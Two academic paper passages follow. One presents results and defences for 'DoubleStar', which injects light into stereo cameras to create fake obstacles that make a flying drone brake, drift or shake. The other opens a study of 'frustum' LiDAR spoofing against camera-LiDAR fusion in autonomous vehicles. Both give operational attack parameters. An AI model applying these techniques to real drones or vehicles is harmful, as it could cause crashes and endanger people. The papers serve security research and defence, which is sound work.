than 30°, both projectors are out of the sensors’ view. Fig. 15b
shows maximum θh with respect to different attack distances.

During the day time, θh is 18° at 1m. The largest attack
angle (29°) can be achieved when the attack distance is 2m.
However, θh decreases beyond 2m, mainly due to the increas-
ing straight-line distance between the camera and the projec-
tor. A longer distance results in weaker injected light, which
in turn leads to a smaller attack angle. Note that since the dis-
tance between the two projectors is 1m, when the attack angle
is 18° at 1m, one projector is already out of the vision sensors’
view while the other one is still in the view. Even when the
light source is out-of-view, several orbs can still be generated
due to the out-of-view lens flare effect (see Appendix A.3),
resulting in a successful orbs attack. Moreover, the light beam
is more concentrated at 1m, making it harder to inject light
into the stereo camera with a wider attack angle.

At night, we can see the overall attack performance is better

USENIX Association 31st USENIX Security Symposium    1895



Figure 16: The attacks on forward and backward vision sen-
sors on the DJI drone at night and in the day, respectively.
The attack results are viewed on the controller.

than that during the day because of the absence of the ambi-
ent light. Most of the attack angles are around 30°or below.
Beyond 7m, θh decreases dramatically due to the decrease of
the injected light intensity. However, when the attack distance
is 3− 6m, θh reaches around 45°, the largest θh at night, in
which case both projectors are out of the sensors’ view. This
attack is thus the result of out-of-view lens flare effect.

Vertical Attack Angle θv. The vertical FOV of the DJI
drone is +27/-27° [10], i.e., when θv is more than 27°, both
projectors are out of the vision sensors’ view. Fig. 15c shows
maximum θv with varying attack distances. The range of
θv during the day and night have very similar trend while
the performance in the day outperforms that at night. It can
be observed that when the attack distance is at 1m in the
daytime and 1− 4m at night, θv is larger than the vertical
FOV, which is mainly caused by the out-of-view lens flare
effect. The maximum θv is around 40° during the day and
45° at night. With the increasing attack distance, θv in both
scenarios shrinks due to the drop of injected light intensity.

Spinning Attack Angle θs. Fig. 15d shows the maximum
θs with varying attack distance. During the day, we can see
that θs is 60° at 1m. When the attack distance increases, θs
becomes less flexible due to the increasing straight-line dis-
tance between the camera and the projector. The larger the
distance is, the weaker the injected light becomes and the
smaller the attack angle can be. On the other hand, the attack
performance improves at night. We achieve the maximum
90° attack angle at 2− 3m, which is larger than the vision
sensors’ horizontal FOV (60°). Even when the light source is
out-of-view, several orbs can still be produced, resulting in a
successful orbs attack.

The results indicate that: (1) the attack angle is more flex-
ible at night than during the day due to the weak ambient
light at night; (2) the range of attack angle becomes narrower
with the larger attack distance in most of the cases due to the
enlarged distance between the camera and the projector; (3)
during the night, the orbs attack can forge fake depths even
when the light source is out of the FOV.

7.5 End-to-End Attack Validation

For end-to-end attack validation, we first illustrate how the
attacker can control the injected fake depth using the math-
ematical model. To showcase the real-world attack perfor-
mance of DoubleStar, we validate the end-to-end attack on
both the flying DJI drone and RealSense camera. Please refer
to Appendix A.4 for the RealSense attack validation.

Control and Validation of the Fake Depth. An attacker
can apply the mathematical model in Section 5 to control the
fake depth generated at the victim device. For instance, with
d = 1m and b = 0.12m, the injected fake depth of X-shape
beams attack at 4m away is 0.43m from Eq. (4).

In our experiments, the near-distance fake depths from X-
shape beams attack and trapezoid-shape orbs attack are the
ones we use to trigger the drone’s OA, while the far-distance
fake depths are created from trapezoid-shape beams attack
and X-shape orbs attack. Since the step size of the depth in the
drone’s OA system is 0.5m, we manually round the calculated
values from mathematical model to its nearest step value.
Table 1 (second column) shows the expected near-distance
fake depths from the mathematical model in comparison with
the experimental results for X- and trapezoid-shape attacks.
The results show that most of the injected fake depths from
real experiments match with the expected ones. This indicates
that the mathematical model can indeed be used to guide the
attack process by adjusting the fake depths.

Sudden Braking. To demonstrate the practicality of
DoubleStar, we launch the attack on a flying drone to induce
sudden braking. We enable the P Mode on the DJI drone, with
which it simply brakes and hovers when it detects the obstacle
on its flying path. Fig. 1 shows our attack towards a flying
DJI drone from 7m away. Fig. 16 shows the attack effects on
backward vision sensors during the daytime and forward vi-
sion sensors at night on the controller. We can see that the 1m
fake depth is detected in both cases. The drone starts sending
warnings, and stops moving forward even though the pilot
pushes the throttle forward on the controller.

Drifting Away and Shaking. We then perform the experi-
ments to drift the drone away from its original flying path by
continuously injecting fake depths. DJI drone can automati-
cally avoid obstacles rather than simple braking and hovering
in some specific intelligent flying modes, i.e., ActiveTrack
and TapFly [8]. We use ActiveTrack mode in our experiments,
which allows the pilot to mark and track a moving object. To
make the attack device more portable, we use two high-lumen
flashlights [1] to aim the drone. When the drone is tracking a
subject at around 7m away from the attacker, we launch the
attack and observe that the drone drifts away towards another
direction. Moreover, we can slightly adjust the position of the
light sources to change the fake depth locations from left to
right alternately, which effectively shakes the drone. Please
refer to our website for the attack demo.
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7.6 Attack Sensitivity Analysis

Aiming Precision. The sensors mounted on flying drones and
moving autonomous vehicles are usually tiny. Thus, aiming
at the moving targets is quite challenging as shown in recent
work [5,29,50], since the adversarial attack patterns should ap-
pear at the specific positions in the images or 3D point clouds.
Unlike these efforts, our attack relaxes the requirements for
precise aiming.

To aim the drone, an attacker has to track the target in
real-time to ensure the light is projected into the appropriate
sensors. The position of the beam is determined by the loca-
tion of the projectors; the position of the orbs/glares in the
2D plane determines the position of the fake obstacle and its
depth value in the 3D-depth map. To realize the attack in real
attack scenarios, an attacker first visually estimates the dis-
tance between the two projectors and the stereo camera, and
determines the distance between the two projectors based on
the predetermined fake depth from the mathematical models.
More importantly, our attack can be generalized on different
devices by leveraging coarse-grained control of fake-depths
using various attack patterns, e.g., X-shape beam attack gener-
ates near-distance fake-depth, whereas trapezoid-shape beam
attack generates far-distance fake depth. In drones, a depth
threshold is used to trigger OA, thus, a precise fake depth is
not required. We experimentally validate that a coarse aiming
precision is sufficient for a successful attack.

Although the requirement of aiming precision is not high,
the attacker does need to inject light into the camera. Par-
ticularly, in order to drift the drone away to follow a target
trajectory, the attacker should closely follow the movement
of the drone. Otherwise, when the light beams become out of
the vision sensors’ view, the attack could fail. On the other
hand, with even the slightest movement of the lenses angle, a
large difference can be observed on the attack target. Since
the attacker can control the movement of the lenses, the at-
tacker can aim the light beam at the moving target by slightly
adjusting the angle of the lens. Based on the real-time feed-
back from the drone, e.g., its flying behavior or warnings, the
attacker can adjust the attack angle to carry out a successful
attack.

Other Factors. We conduct numerous drone experiments
under bad weather, such as snowing, raining, and windy con-
ditions. The flying speed is 1 m/s, and the flying height stays
at 2-3 meters. The results show that our attack can work prop-
erly in all the experimented weather conditions, including a
windy day with 20 miles per hour (mph) wind strength. How-
ever, the strong ambient light, fast speed, and high altitude
of the flying drone could lead to attack failures. Specifically,
when the ambient light is too strong (> 4000lux), due to the
auto exposure control, the vision sensors can clearly “see" the
background and the effect of the injected light beams or the
lens flare effect weakens. Moreover, when the drone flies too
fast, it becomes difficult to track the drone. Also, if the drone

flies in a high altitude, a wider attack angle is expected as
shown in Section 7.4, leading to a lower attack success rate.

As a special case, when the expected fake depth falls into
the focal length of the camera, the attack will usually fail.
However, since the glares/orbs cover multiple pixels, some-
times it will output the minimum depth value.

8 Discussion
In this section, we discuss the practical challenges in launch-
ing DoubleStar, and present the countermeasures.

8.1 Practical Considerations
Generality. Stereo vision based depth estimation algorithms
are widely adopted in OA systems. Nowadays, state-of-the-
art depth estimation algorithms are AI-based [6, 26, 30, 39,
48, 66, 67]. We test and show our attack against both tradi-
tional and AI-based stereo depth estimation algorithms in
Section 6.2. In fact, all the stereo depth estimation methods
intend to accurately match stereo correspondence in the left
and right images, which are susceptible to DoubleStar. Be-
sides, we confirm that the devices in our experiments use the
most advanced AI-based depth estimation methods [19, 69].
DoubleStar can successfully attack these algorithms and gen-
erate fake depths, corroborating its generality.

One limitation of our attack is the inability in adjusting
pixels to precisely control fake-depth in physical attacks.
However, as we mentioned earlier, we can earn a coarse-
grained control of fake depths using different attack patterns.
Meanwhile, DoubleStar attack can be generalized for dif-
ferent stereo cameras and drones, which only use the stereo
image pairs as the depth estimation input. However, if the
autonomous systems, such as autonomous vehicles and cer-
tain types of drones, adopt other sensors (e.g., LiDAR, radar,
acoustic sensors) for obstacle detection, DoubleStar may not
succeed as discussed in Section 8.2. In future, we will investi-
gate the impact of DoubleStar attack, when other types of sen-
sors are used for obstacle detection. In summary, DoubleStar
is a black-box attack approach that does not rely on the knowl-
edge of the target depth estimation algorithm or the victim
device information. Therefore, DoubleStar could cause a po-
tential impact on a wide variety of OA systems.

Conspicuousness. The appearance of glares in the stereo
images seems to raise victims’ awareness. However, the stereo
images are not typically shown to the pilot/driver, such as DJI
drones and Tesla cars [52]. The highly concentrated beam
also makes it harder for other observers to notice the attack,
especially during daytime, e.g., as shown in Fig. 13, when
the projector is on, the light beams are unnoticeable. At night,
since the projection light becomes visible, a large attack angle
may be useful to lower the vigilance of the victim. Addition-
ally, the attack distance can reach up to 15m at night, which
makes it difficult for humans to react and avoid attacks across
such a long distance. Most importantly, the attacker can ex-
ploit the “safety first” [15] rule in the autonomous systems –
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when it detects an obstacle, it will react to emergent situations
preceding any human inputs to prevent life loss.

Applicability. DoubleStar is not only an attack approach,
but it can also operate as a protection method against the pri-
vacy invasion threats posed by autonomous systems, such as
drone flyovers [21, 53, 58]. One particularly attractive appli-
cation scenario is to use DoubleStar to drift the drone away
from a private property when a spying drone approaches the
property. DoubleStar can even shake the drone to avoid cap-
turing clear videos or photos without damaging the drone, as
opposed to the previous attempts using powerful lasers [49]
to damage the sensors, which may bring legal disputes.

Limitation. One limitation of DoubleStar is the portabil-
ity of attack equipment. To make our attack more flexible, the
attacker can choose to use mini projectors or high-lumen flash-
lights which are more portable and light-weighted. However,
the projection intensity of the mini projectors is usually low.
As for the flashlight, due to its lower light frequency, flicker-
ing glares/orbs will be captured by cameras, which reduce the
attack success rate. Essentially, there is a trade-off between
the portability and attack success rate. Note that, laser can
cause the damage of the camera image sensor, which is not
suitable for launching a continuous attack.

Another limitation is that DoubleStar only works for one
stereo camera at a time, but not for multiple devices simulta-
neously. To address this problem, we can add multiple pairs
of light sources. However, it will be less convenient to launch
the attack physically without multiple human operators.

8.2 Countermeasure

Using Sensor Fusion. The most efficient countermeasure is
to use sensor fusion [56], the art of combining multiple physi-
cal sensors to produce an accurate “ground truth", even though
each sensor might be unreliable on its own. Autonomous vehi-
cles and drones are normally equipped with multiple cameras
or other types of sensors, such as LiDARs and radars. In this
work, we explore one type of sensor fusion to defend against
DoubleStar. We launch our attack on RealSense, which has
both stereo vision sensors, infrared projectors [13], and the
advanced sensor fusion algorithm.

In RealSense, the projected infrared light is patterned, the
perceived pattern by the sensor can be used to extract the depth
information. For example, if the pattern is a series of stripes
projected onto a ball, the stripes perceived by the sensor would
deform and bend around the surface of the ball in a specific
way [18]. Two types of data will become the input of the
sensor fusion algorithm: one is from the structured light and
coded light emitted by infrared projectors and captured by
infrared sensors, and the other one is based on the images
from stereo cameras. The algorithm fuses these two types of
data and outputs a depth map.

In the experiment, we first disable the infrared sensors and
launch our attack to inject a fake depth. Next, we enable the

infrared sensors and sensor fusion. We repeat our experiments
in both indoor and outdoor with various ambient light con-
ditions and attack distances. The results show that the fake
obstacle is present in all cases even under the active sensor
fusion. This is likely caused by the strong light projection
from the projector which may have washed out the projected
infrared patterns, resulting in the failure of defense using sen-
sor fusion. This indicates that DoubleStar has the potential
to bypass sensor fusion algorithms.

Sensor fusion can mitigate but not fully prevent all the
safety issues, especially as the camera provides important
inputs for depth estimation. Besides, since vehicle manufac-
turers endeavor to prevent the loss of lives, a “safety first”
approach is adopted for autonomous driving [15], and as a
result, the injected fake obstacles by DoubleStar may still be
treated as real objects even if some sensors in these sensor
fusion algorithms disagree.

Even though the results show that DoubleStar can bypass
the sensor fusion algorithms in RealSense, our attack could
fail in cases when the stereo camera data is fused with other
types of advanced sensors such as LiDAR on autonomous
vehicles, and we leave the further investigation as future work.

Detecting Over-Saturated Pixel. Under DoubleStar, the
injected glares/orbs are over saturated, so it could be a viable
defense to detect over-saturated pixels in the stereo images.
For example, Moizumi et al. propose to detect the traffic light
by considering color saturation using in-vehicle stereo camera
[33]. This can be applied to defend against DoubleStar.

Applying Film Polarizers. Film polarizers allow the light
waves of a specific polarization to pass through and block
light waves of other polarizations. Applying a film polarizer
on the camera lens might be a potential defense method. We
experimentally verified that film polarizers can filter out the
glares directly generated by the sunshine or other strong light
sources [20]. However, they cannot cope with the lens flare
effects or directly injected glares (light beams) presented in
our attack.

Adding Camera Lens Hood. Another complementary ap-
proach of defense is to add a camera lens hood [27], which
can mitigate the lens flare effects to reduce the attack success
rate. However, this is unfit for many autonomous systems,
as the hood reduces the camera’s FOV. Moreover, the lens
hoods can only reduce the orbs generated by out-of-view light
sources while they are unable to prevent the orbs created by
in-view ones. Also, it cannot defend against the beams attack.

Building Robust Neural Networks. Another line of de-
fense would be to make neural networks themselves robust
against computer vision-based adversarial attacks. However,
the existing defenses proposed in [24, 28, 40, 63] are ill-suited
for our work, as DoubleStar does not follow the constraints
placed on traditional adversarial examples. Meanwhile, these
defenses are not designed for arbitrarily large perturbations in
a 3D environment. Moreover, even though the defense model
proposed in [35] can defend against large perturbations in
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terms of 2D object classification, DoubleStar could evade
such defense as it targets at attacking the 3D depth perception.
Designing a defense model towards the 3D adversarial attacks
will be our future work.

9 Related Work

In this section, we review related studies on sensor attacks
towards drones. With the rapidly growing popularity and ca-
pability of drones, sensor attacks towards drones have become
a non-negligible security risk. Son et al. are the first to in-
vestigate the sensor attack towards drones [47]. By injecting
sound noise at the gyroscopes’ own resonant frequencies, the
gyroscopes on the drones will fluctuate, leading to a DoS at-
tack. Similarly, Wang et al. injected ultrasound signals around
the gyroscope’s resonant frequencies to change the spinning
speed of the four rotors to cause the DoS on the commer-
cial drone [56]. However, these two attacks can only achieve
the non-continuous attack with the very short attack distance
(around 10cm). Davidson et al. are the first to realize the
continuous control of the drone by spoofing the optical flow
sensor at the bottom of the drone. It can achieve the attack
distance up to 3m away in loiter mode, which is used to hold
the drone precisely in the current position. Different from this
work, DoubleStar enables a diverse class of drone manipu-
lations (i.e., stopping, shaking, drifting away), and achieves
long-range continuous drone control under various flying
modes.

10 Conclusion

In this paper, we present DoubleStar, a new long-range at-
tack towards the depth estimation-based OA systems on au-
tonomous robotic vehicles and drones. By exploiting the vul-
nerabilities in the depth perception, an attacker can inject
arbitrary lights into the stereo camera to create a fake ob-
stacle depth. DoubleStar consists of beams attack and orbs
attack with three different attack patterns. We conduct the
simulation using Ardupilot to demonstrate our attack towards
drones. Through extensive real-world experiments, we find
DoubleStar is effective on different devices equipped with
stereo cameras. The successful long-range attacks against the
flying DJI drone imply potential security impacts on different
types of autonomous systems.
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Appendix
A Additional Experiments and Analysis
A.1 Green Orbs Visualization from RealSense
As shown in Fig. 17, it can be seen that the green orb is always
centrosymmetric to the light source. Moreover, the brightness
of the orbs decreases as the projection distance increases.

Figure 17: Using an iPhone 12 Pro Max flash to project to
RealSense with different distances and angles.

A.2 Beams Attack Unsuccessful Case
The analysis of the unsuccessful case of the X-shape beams
attack is shown in Fig. 18. When d� b or z is too small, the
fake depth is within the focal length of the camera, which
is unrealistic in the optical imaging. Thus, the attack fails to
generate the fake depth.

Figure 18: An unsuccessful case in X-shape beams attack
when b < d.

A.3 Out-of-View Light Source
In the experiments, we observe that out-of-view light sources
can generate several undistinguished orbs, which can cause
several fake depths on ZED as shown in Fig. 19.

(a) Left and right images (b) 3D point cloud

Figure 19: The orbs attack on ZED. (a) shows the light sources
are out of view, where several unclear orbs are generated; (b)
shows several fake depths can be created consequently.

A.4 Validation on RealSense
Fig. 20 shows a near-distance fake depth (around 0.5m) can
be generated when the attack distance is 10m in RealSense. It
demonstrates that DoubleStar remains effective even without
the access to its left and right stereo images.

(a) RGB camera view (b) Depth map

Figure 20: (a) shows the view from the RGB camera under
the attack. RealSense provides a colored depth map in (b)
where the blue color indicates an object is at 0.5m.
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Abstract
To enable safe and reliable decision-making, autonomous
vehicles (AVs) feed sensor data to perception algorithms to
understand the environment. Sensor fusion with multi-frame
tracking is becoming increasingly popular for detecting 3D
objects. Thus, in this work, we perform an analysis of camera-
LiDAR fusion, in the AV context, under LiDAR spoofing
attacks. Recently, LiDAR-only perception was shown vulner-
able to LiDAR spoofing attacks; however, we demonstrate
these attacks are not capable of disrupting camera-LiDAR fu-
sion. We then define a novel, context-aware attack: frustum at-
tack, and show that out of 8 widely used perception algorithms
– across 3 architectures of LiDAR-only and 3 architectures
of camera-LiDAR fusion – all are significantly vulnerable
to the frustum attack. In addition, we demonstrate that the
frustum attack is stealthy to existing defenses against LiDAR
spoofing as it preserves consistencies between camera and
LiDAR semantics. Finally, we show that the frustum attack
can be exercised consistently over time to form stealthy longi-
tudinal attack sequences, compromising the tracking module
and creating adverse outcomes on end-to-end AV control.

1 Introduction
Autonomous vehicles (AVs) have enjoyed millions of miles

of partially automated road travel [1, 2]. This has been en-
abled by advances in perception, the foundation for safe and
reliable decision-making in AVs. Sensors including cameras
and light detection and ranging (LiDAR) collect data so per-
ception can provide AVs enough awareness of surroundings
to make informed decisions in safety-critical tasks such as
obstacle/pedestrian avoidance and traffic sign detection.

The camera and LiDAR are the most used AV sensors [3–6].
Inexpensive, high-quality cameras can provide high resolu-
tion, dense 2D outputs on limited fields of view. LiDAR is
complementary to the camera, providing up to 360◦ view
of the surroundings and fully resolving the 3D position of
objects with a sparse set of points (i.e., point clouds).

Due to AVs’ safety-critical nature, misinformation or
wrong decisions can quickly lead to severe adverse out-

comes [7, 8]. The high-impact outcomes underscore the need
for security research in the domain. In particular, the increas-
ing reliance of AVs on deep neural networks (DNNs) for
real-time perception has sparked security questions at the
algorithm level. There is a growing body of AV perception
security work: an attacker can perturb sensor data to change
object classification (misclassification) [9], introduce fake ob-
jects (false positives) [10, 11], and remove existing objects
(false negative) [12, 13], each with devastating consequences
at the driving decision and control levels.

Initially, security analysis of perception focused on the
image domain with LiDAR only recently emerging as the
target for security research. Spoofing attacks against LiDAR
have since been demonstrated [10, 11, 14–16], and applied to
LiDAR-only perception [10,11]. The use of physical adversar-
ial objects has also been explored [12, 13, 17], demonstrating
outcomes against end-to-end AV pipelines [17].

However, existing security analyses of LiDAR-based
perception have several limitations. Reported physically-
realizable attacks mainly consider single-sensor (e.g., LiDAR-
only, camera-only) perception. On the other hand, de-
ployed AV architectures such as Waymo’s One [1], Baidu’s
Apollo [6], and NVIDIA’s DRIVE [5] employ multi-sensor
perception with multi-frame tracking. Security analysis of
multi-sensor fusion has been recently considered [12, 13, 17];
e.g., [17] focuses on the impact of adversarial physical objects
on camera-LiDAR perception. Yet, these approaches require
highly representative models of the deployed perception algo-
rithms to design attacks with white-box optimization online
or a-priori. To the best of our knowledge, there is no analysis
of black-box (i.e., when the perception model is not known
to the attackers) attacks against sensor-fusion perception.

Consequently, in this work, we present security anal-
ysis for camera-LiDAR sensor fusion under physically-
demonstrated black-box LiDAR spoofing attacks. Using the
LiDAR-spoofing threat model from [10,11], we first show that
camera-LiDAR fusion confers additional robustness against
general black-box (i.e., naive) LiDAR attacks; this is be-
cause the naive spoofing does not retain consistency be-
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tween camera data and thus can be filtered. That attack suc-
cess may be greatly reduced with sensor fusion when not
all sensors are compromised has been suggested in prior
works [10–12, 18, 19], and is systematically evaluated for
the first time in this work.

Unlike the recent work of [18] that restricts analysis to
naive LiDAR attacks, we introduce a new class of percep-
tion attacks, the frustum attack, which compromises camera-
LiDAR fusion by preserving semantic consistencies between
the camera and LiDAR data. To achieve this, the attacker only
needs to know approximate locations of true objects in the
scene. We experimentally demonstrate that the frustum attack
can be executed in the physical world with limited knowledge.
We describe five scenarios where an adversary can use contex-
tual information to launch spoofing attacks relative to existing
objects in the scene. This expands upon prior works [10, 11]
that focused only on naive, isolated placement at 5-8 m range.

We then evaluate the frustum attack against state-of-the art
defenses against LiDAR spoofing [11, 18, 20] using a diverse
set of eight perception algorithms across three distinct LiDAR-
only and three distinct camera-LiDAR fusion architectures,
including cascaded-semantic, feature-level, and tracking-level
fusions (Fig. 1) on over 75 million attack scenarios. To the
best of our knowledge, this constitutes the largest analysis of
LiDAR spoofing to date and the first that extensively evaluates
multiple architectures of multi-sensor fusion for perception.

In addition to false positives (FPs), we demonstrate that the
frustum attack is successful in generating false negative (FN)
and translation attack outcomes, as defined in Section 3.1,
which is a novel discovery for LiDAR spoofing attacks.

We also show that a key assumption about the required at-
tacker’s capabilities from prior work can be relaxed. Existing
spoofing attacks have only had success at creating FPs or FNs
with precise (cm-level) placement of points; furthermore, ex-
isting LiDAR spoofing attacks have required either white-box
model access [10] or carefully-crafted point placements in the
outline of real vehicles (e.g., adversary pre-captures samples
and replays them [11]). We establish that inserting a random
sample of normally-distributed points is comparably as suc-
cessful as inserting points in the outline of a car. This confers
inherent attack robustness to small perturbations, facilitating
attack deployment with a physical spoofing device such as
in (e.g., [10, 14–16]), and as demonstrated in Section 5.3.1.

Finally, to assess the impact of LiDAR attacks on AVs
equipped with multi-frame tracking, we present frustum at-
tack case studies using longitudinal sequences of perception
data. First, we explicitly analyze the multi-frame fusion and
tracking module, which is employed by all industry AVs, us-
ing representative algorithms. Then, we test the frustum attack
on Baidu Apollo [6] using the LGSVL simulator [21]. The
case studies illuminate that high-impact adversarial situations
that endanger vehicle and passenger safety occur under the
frustum attack when attacking over multiple time points, ef-
fectively deceiving the host vehicle’s tracking and control.

In summary, we make the following main contributions:
• We show that several sensor-fusion algorithms are robust to
naive LiDAR spoofing at some of the highest defensive rates
yet observed (e.g., < 1% for some algorithms), suggesting
sensor fusion is inherently secure against naive attacks.
• We introduce a novel class of LiDAR spoofing attacks on
AVs, the frustum attack, and experimentally validate frustum
attack feasibility with existing hardware.
• We perform a thorough analysis of LiDAR-only and camera-
LiDAR perception and show the frustum attack’s first-of-a-
kind ability to compromise 8 high-performing perception
algorithms across 3 LiDAR-only and 3 camera-LiDAR fusion
architectures. We also show that the frustum attack is stealthy
even against existing defenses of LiDAR spoofing.
• We perform longitudinal studies of security against per-
ception attacks. We show that, on an end-to-end AV driving
software, by using frustum attacks to fool the AV’s tracking
and control, the attacker has high levels of attack success at-
tacking at short and long range, expanding on previous short
range attack cases.

2 Background and Related Work
2.1 Perception

AVs interact in complex environments with active agents
and dynamic weather and terrain situations. To accomplish
desired tasks while retaining consistent situational awareness,
deployed AVs are equipped with multiple sensors of multiple
modalities as well as with perception algorithms to translate
sensor data into meaningful semantic information (e.g., vehi-
cle tracking for situational awareness).

2.1.1 Camera and LiDAR Sensing
AVs are equipped with multiple cameras spaced around the

vehicle. Individual cameras provide monocular vision which
resolve azimuth and elevation angles to targets. Cameras are
inexpensive compared to LiDAR and radar and thus are the
preferred sensing modality for many AVs [3, 5, 6, 22, 23].

A central scanning LiDAR is commonly mounted on the
roof of AVs for maximum viewing opportunity. LiDAR is
complementary to the camera; it is an active sensor that sends
primarily infrared light and constructs transmit-receive time
differences to resolve the full 3D position of point returns [3].
LiDAR has demonstrated enhanced robustness compared to
cameras in situations including adverse weather [24].

2.1.2 AV Benchmarks
We use KITTI [22] and the LGSVL Simulator [21] to test

our algorithms and attacks. KITTI is composed of synchro-
nized camera and LiDAR captures with ground truth 2D and
3D bounding boxes. We use perception algorithms with pub-
licly available models pretrained on KITTI (see Sec. 2.1.3) as
well as Baidu Apollo’s open source end-to-end AV stack [6].

2.1.3 Perception Algorithms
Recently, novel DNN-based methods have been proposed

for processing point cloud data from LiDAR. Three general
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(a) Cascaded semantic-level fusion (b) Integrated semantic-level fusion (e.g., fusion at tracking) (c) Feature-level fusion
Figure 1: The three widely-used classes of multi-sensor fusion in perception.

Table 1: LiDAR-only and camera-LiDAR fusion perception
algorithms of multiple architectures are all evaluated under
the naive and frustum attacks and with defenses.

Algorithm Type Architecture

PointPillars [27] LiDAR Voxel-Based
PointRCNN [28] LiDAR Point-Based
PIXOR [33] LiDAR BEV

Frust.-ConvNet [30] Camera-LiDAR Casc. Semantic
Frust.-PointNet [29] Camera-LiDAR Casc. Semantic
AVOD [31] Camera-LiDAR Feature-Level
EPNET [32] Camera-LiDAR Feature-Level
Baidu Apollo [6] Camera-LiDAR Integ. Semantic

classes of LiDAR-only perception were reported in [11] and
include the bird’s-eye view (BEV) (e.g., [6, 25]), voxeliza-
tion of the 3D space (e.g., [26, 27]), and direct ingesting of
points (e.g., [28]). These early works focused on single-sensor
perception pipelines without considering multi-sensor fusion.

We consider three broad classes of multi-sensor fusion for
perception, illustrated in Fig. 1: (1) cascaded semantic fusion
(e.g., [29, 30]) using the output of perception on one or more
sensors to augment the input of other single-sensor perception,
(2) integrated semantic fusion (e.g., [6]) that runs isolated per-
ception for each sensor and fuses semantic outputs (e.g., in
tracking), and (3) feature-level fusion (e.g., [31, 32]) that
combines low-level (machine-learned) features from multiple
perception sources to produce a unified output. Specifically,
we analyze state-of-the-art LiDAR-only (PointPillars [27],
PointRCNN [28], PIXOR [33]) and camera-LiDAR fusion
(Frustum-ConvNet [30], Frustum-PoinNet [29], AVOD [31],
EPNET [32], Baidu Apollo [6]) perception algorithms, as
summarized in Table 1.

2.2 Attacks on Perception
Attacks on camera-based perception. Camera-based per-
ception algorithms that use DNN models have been shown
vulnerable to black-box attacks (e.g., [34]). Attacks on
camera-based perception have been extended to AV-specific
contexts [9, 35], showing that object detection and classifica-
tion are vulnerable when using only camera data.

Demonstrations of LiDAR spoofing attacks. Recently,
[10,11,14–16] have demonstrated feasibility of LiDAR spoof-
ing devices. A relay system where LiDAR pulses were re-
ceived by a photodiode and relayed through an attack laser

was introduced in [14]; the system was expanded to con-
trol the 3D positioning of spoof points with a delay com-
ponent [15], capitalizing on the regular patterning of Li-
DAR emissions. With this foundation, [10] established a 60
point stable spoofing baseline on a per-frame basis, subse-
quently improved to 200 points [11].
Attacks on point cloud detection. Spoofing attacks have
motivated security studies of LiDAR-based perception. The
placement of spoof points is considered as a white-box op-
timization problem in [10]. In [11], black-box attacks are
introduced, exploiting that DNNs may not encode causality
about the data (e.g., occluded objects). To date, only mild
success is seen in obtaining FPs with spoofed points from a
real laser due to engineering limitations [10, 11]; thus, many
security studies use simulated spoofing models [10, 11, 18]
while engineering is improved [16].

Further, [17] develops physical adversarial objects capable
of compromising sensor fusion using gradient-based shape
and texture optimization. The model is an expansion on single-
sensor adversarial objects, as both camera and LiDAR per-
ception model gradients are used to update shape of the ad-
versarial object. Physical-adversarial-object approaches, such
as [17], require white-box access to the deployed or highly
representative perception models for training offline. Addi-
tionally, [12, 13] introduce attacks with adversarial patches
and physical objects that are optimized for color, shape, and
texture. Each attack performs optimization over training
data [12, 13]. It has not been studied whether these attacks
can generalize across perception algorithms.
2.3 Perception Defenses

Several defenses have been proposed to counteract LiDAR
spoofing attacks, including model-agnostic defenses indepen-
dent of the perception model (e.g., CARLO [11], Shadow-
Catcher [20]) and model-based defenses that fortify the per-
ception architecture (e.g., SVF [11], LIFE [18]).

CARLO [11] is a detection-centric defense, guarding
LiDAR-only perception against naive spoofing in front-near
positions. The exploits the intuition that, if there are many
LiDAR points appearing to pass through a detected object, the
object is likely a false positive (FP). ShadowCatcher [20] is a
detection-centric defense and uses a similar line of reasoning
to CARLO: if a detection has a highly anomalous shadow
region – defined as a high anomaly score using features of
the shadow region – it is likely an FP. SVF [11] is a model-
based defense and guards LiDAR-only perception against
naive spoofing by augmenting LiDAR data with a point-wise
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confidence score from the front-view (FV) under the intuition
that naive FPs do not maintain FV consistency. LIFE [18] is a
hybrid model-based detection-centric perception defense that
compares LiDAR and camera data detections and raw sensor
data. To cross-check sensor detections, the object matching
method compares camera and LiDAR detections in the front
view. To compare raw sensor data, the corresponding point
method checks consistency of camera feature points with raw
LiDAR data in a depth image, and the sensor reliability evalu-
ation uses machine-learned prediction algorithms to compare
predicted and captured sensor data. LIFE was tested against
naive spoofing attacks using LiDAR and stereo imagery [18].
Sensor Fusion. The use of multi-sensor fusion to enhance
perception resiliency has been suggested [10, 11, 18, 19, 36].
Yet, no systematic evaluation of sensor fusion under spoof-
ing attacks has been performed (e.g., LIFE [18] was evalu-
ated using naive spoofing without analysing spoofing perfor-
mance, [17] used optimized physical adversarial objects as
threat model). Thus, in this work we thoroughly evaluate the
fusion models’ performance under spoofing attacks.

3 Attack Objectives and Threat Model
We use the following terminology in describing the attacker

goals, capabilities, and strategy. By the victim vehicle, we
refer to the AV running perception algorithms. The attack’s
goal is to cause adverse outcomes for the victim. The attacker
may wish to orchestrate attacks in some relation to an object
in the scene (e.g., another vehicle) other than the victim. This
object is referred to as a target vehicle. Any other vehicle or
object in the scene is denoted as other.

3.1 Attack Goals
We consider false positive (FP) and false negative (FN)

attack outcomes consistent with the literature [10–12, 17], as
well as translation attack outcomes where a detected object’s
bounding box is translated (i.e., moved) by some distance.
The goal of achieving a false positive outcome is to force
the victim to perform dangerous maneuvers (e.g., emergency
braking or lane change) to avoid the false object. For example,
LiDAR spoofing attacks can result in safety-critical incidents,
as shown with Baidu’s Apollo [6, 11].
The goal of achieving a false negative outcome is to remove
an existing object from the perception output such that path
planning and control are compromised. Such attacks can have
the devastating consequence of the victim crashing into an
unsuspecting object hidden to perception (e.g., as in [17]).
Translation outcome. We find FP and FN outcomes are
insufficient to fully capture the effects of perception attacks.
Some cascaded semantic fusion architectures (e.g., FPN) en-
force one-to-one matching between 2D and 3D detections;
thus, an FP necessarily implies an FN. We call such instances
translation outcomes as the attacker has created physical dis-
tance between the negated ground truth (FN) and the spoofed
detection (FP). Translation outcomes may cause emergency

Table 2: Gaussian moments for sampling spoof point positions
relative to the desired FP location. Coordinate frame is local-level
Cartesian, axes are frustum-relative (forward is toward the victim).

Direction Forward Left Up

Mean (m) 1.0 0 1.0
Std. Dev. (m) 0.1 0.5 0.2

braking if objects are moved to front-near positions or colli-
sion when moved farther from the victim or to a different lane.

3.2 Threat Model
3.2.1 Environment

We consider scenarios where the victim AV may have mul-
tiple sensors; i.e., we consider both LiDAR-only and camera-
LiDAR perception models, widely used in AVs [1, 5, 6, 23].

3.2.2 Attacker Capability
We assume the attacker has no access to the AV’s internal

processing, has no way to attack the camera, and can only
